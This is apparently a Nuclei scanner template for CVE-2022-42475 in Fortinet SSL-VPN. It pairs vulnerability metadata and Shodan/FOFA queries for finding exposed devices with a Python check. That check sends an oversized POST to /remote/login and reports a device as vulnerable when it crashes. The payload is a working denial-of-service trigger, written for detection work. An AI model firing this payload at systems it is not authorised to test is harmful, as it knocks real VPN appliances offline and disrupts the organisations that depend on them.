id: CVE-2022-42475 info: name: Fortinet SSL-VPN - Heap-Based Buffer Overflow author: 0xhaggis,pszyszkowski,pussycat0x severity: critical description: | A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests. impact: | Remote attackers can execute arbitrary code or commands, potentially leading to full system compromise. remediation: | Fixed in: FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16 FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15 FortiProxy >= 7.2.2, 7.0.8, 2.0.12 reference: - https://github.com/0xhaggis/CVE-2022-42475 - https://fortiguard.com/psirt/FG-IR-22-398 - https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/ - https://bishopfox.com/blog/exploit-cve-2022-42475 - https://github.com/3yujw7njai/CVE-2022-42475-RCE-POC classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-42475 cwe-id: CWE-197,CWE-787 epss-score: 0.94005 epss-percentile: 0.99897 cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: fortinet product: fortios shodan-query: - cpe:"cpe:2.3:o:fortinet:fortios" - http.html:"/remote/login" "xxxxxxxx" - http.favicon.hash:"945408572" fofa-query: - body="/remote/login" "xxxxxxxx" - icon_hash="945408572" tags: cve,cve2022,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln flow: http () && code() http: - method: GET path: - "{{BaseURL}}/remote/login" - "{{BaseURL}}/login" stop-at-first-match: true host-redirects: true matchers: - type: dsl internal: true dsl: - 'contains(body, "Launch FortiClient") || contains(body, "ftnt-fortinet-grid")' - 'status_code == 200' condition: and code: - engine: - py - python3 source: | import sys, os, time, socket, ssl PADDING = 0x4141414141414141 PADDING_LEN = 1024*12 CONTENT_LENGTH = b"4294967297" # Configuration for false positive prevention POST_EXPLOIT_WAIT = 2 # Seconds to wait before post-exploit check POST_EXPLOIT_RETRIES = 3 # Number of retries for post-exploit connectivity CONNECTIVITY_TIMEOUT = 5 # Timeout for connectivity checks class SSLVPNExploit: def __init__(self, host, port): self.host = host self.port = port self.useSSL = os.getenv("Scheme") == "https" def create_socket(self, timeout=2.0): """Create a new socket connection""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) if self.useSSL: ctx = ssl._create_unverified_context() sock = ctx.wrap_socket(sock) sock.connect((self.host, self.port)) return sock except Exception as e: return None def check_connectivity(self, timeout=CONNECTIVITY_TIMEOUT): """ Check if target is responsive with a simple GET request. Returns: (success: bool, response_time: float) """ try: start_time = time.time() sock = self.create_socket(timeout) if sock is None: return False, 0 get_req = b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() get_req += b"\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n" sock.sendall(get_req) sock.settimeout(timeout) response = sock.recv(4096) elapsed = time.time() - start_time sock.close() return len(response) > 0, elapsed except Exception as e: return False, time.time() - start_time def check_by_get(self): """Pre-flight connectivity check""" print("[>] Pre-flight connectivity check...") success, elapsed = self.check_connectivity() if success: print(f"[+] Target is responsive (response time: {elapsed:.2f}s)") return True else: print("[!] Target is not responsive - cannot test") return None def send_exploit_payload(self): """ Send the exploit payload and analyze the response. Returns: (result_type: str, elapsed_time: float, details: str) Result types: 'PATCHED', 'TIMEOUT', 'EMPTY_RESPONSE', 'CONNECTION_DROP', 'ERROR' """ req = bytearray(b"") req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() req += b"\r\nContent-Length: " + CONTENT_LENGTH req += b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n" req += b"AAAAAAAA" * PADDING_LEN try: sock = self.create_socket(timeout=10) if sock is None: return 'ERROR', 0, 'Could not connect' start_time = time.time() sock.sendall(req) sock.settimeout(10) buf = sock.recv(1048576) elapsed = time.time() - start_time sock.close() if len(buf) == 0: return 'EMPTY_RESPONSE', elapsed, 'Empty response received' if b"413" in buf or b"Request Entity Too Large" in buf: return 'PATCHED', elapsed, 'Target returned 413 - patched' return 'UNEXPECTED', elapsed, buf.decode("utf-8", errors="replace")[:200] except socket.timeout: return 'TIMEOUT', time.time() - start_time, 'Socket timeout' except Exception as e: return 'CONNECTION_DROP', time.time() - start_time, str(e) def post_exploit_connectivity_check(self): """ Check if target is still responsive after exploit attempt. This is the KEY differentiator between: - Firewall/WAF drop (device still responsive) - Actual crash (device unresponsive) Returns: (responsive: bool, details: str) """ print(f"[>] Waiting {POST_EXPLOIT_WAIT}s before post-exploit check...") time.sleep(POST_EXPLOIT_WAIT) for attempt in range(1, POST_EXPLOIT_RETRIES + 1): print(f"[>] Post-exploit connectivity check (attempt {attempt}/{POST_EXPLOIT_RETRIES})...") success, elapsed = self.check_connectivity(timeout=CONNECTIVITY_TIMEOUT) if success: return True, f"Device responsive after {elapsed:.2f}s" time.sleep(1) return False, "Device unresponsive after multiple attempts" def is_vulnerable(self): """ Improved vulnerability detection with false positive prevention. Detection logic: 1. If target returns 413 -> PATCHED (not vulnerable) 2. If target times out waiting for data -> NOT VULNERABLE 3. If connection drops/empty response: a. Check if device is still responsive b. If responsive -> FALSE POSITIVE (firewall/WAF dropped connection) c. If unresponsive -> LIKELY VULNERABLE (device crashed) """ print("[>] Sending exploit payload...") result, elapsed, details = self.send_exploit_payload() print(f"[>] Exploit result: {result} (elapsed: {elapsed:.2f}s)") print(f"[>] Details: {details[:100]}...") # Case 1: Target is patched (413 response) if result == 'PATCHED': print("[+] Target is PATCHED - returned 413 Request Entity Too Large") return False # Case 2: Target waited for more data (timeout) if result == 'TIMEOUT': print("[+] Target waited for more data - NOT VULNERABLE") return False # Case 3: Connection drop or empty response - NEEDS VERIFICATION if result in ('EMPTY_RESPONSE', 'CONNECTION_DROP'): print("[!] Connection dropped or empty response - verifying if this is a false positive...") # KEY FIX: Check if device is still responsive responsive, check_details = self.post_exploit_connectivity_check() if responsive: # Device is still responsive = Firewall/WAF dropped the connection print(f"[!] FALSE POSITIVE DETECTED: {check_details}") print("[!] Device is still responsive after exploit attempt") print("[!] This indicates firewall/IPS/WAF intervention, NOT a crash") return False # NOT VULNERABLE - false positive else: # Device is unresponsive = Possible crash print(f"[+] Device appears to have crashed: {check_details}") print("[+] Target may be VULNERABLE (device unresponsive after exploit)") return True # LIKELY VULNERABLE # Case 4: Unexpected response if result == 'UNEXPECTED': print(f"[?] Unexpected response received - manual review needed") print(f"[?] Response: {details}") return None # Case 5: Error print(f"[!] Error during exploit: {details}") return None if __name__ == '__main__': host = os.getenv("Host") port = int(os.getenv("Port")) print("=" * 60) print("CVE-2022-42475 - Fortinet SSL-VPN Heap Overflow Check") print("(With False Positive Prevention)") print("=" * 60) print(f"[*] Target: {host}:{port}") print(f"[*] SSL/TLS: {os.getenv('Scheme') == 'https'}") exploit = SSLVPNExploit(host, port) # Step 1: Pre-flight connectivity check check = exploit.check_by_get() if check != True: print("[!] Pre-flight check failed - target unreachable") exit(1) # Step 2: Vulnerability check with false positive prevention result = exploit.is_vulnerable() if result == None: print("[!] An error occurred testing for the vulnerability.") print("[!] Is this even a FortiGate SSL-VPN?") exit(2) if result == True: print("=" * 60) print("[+] Target appears to be VULNERABLE") print("[+] Device became unresponsive after exploit payload") print("=" * 60) exit(0) else: print("=" * 60) print("[+] Target is NOT vulnerable") print("=" * 60) exit(1) matchers: - type: word words: - "Target appears to be VULNERABLE" # digest: 490a0046304402206b11fd9460e132913e88928bee378da95d6a0518af6358491276421d0f735b7c0220095210512aef64da016b6ccd74c949ad0044fd397520991190846fa6c5386d7c:922c64590222798bb761d5b6d8e72950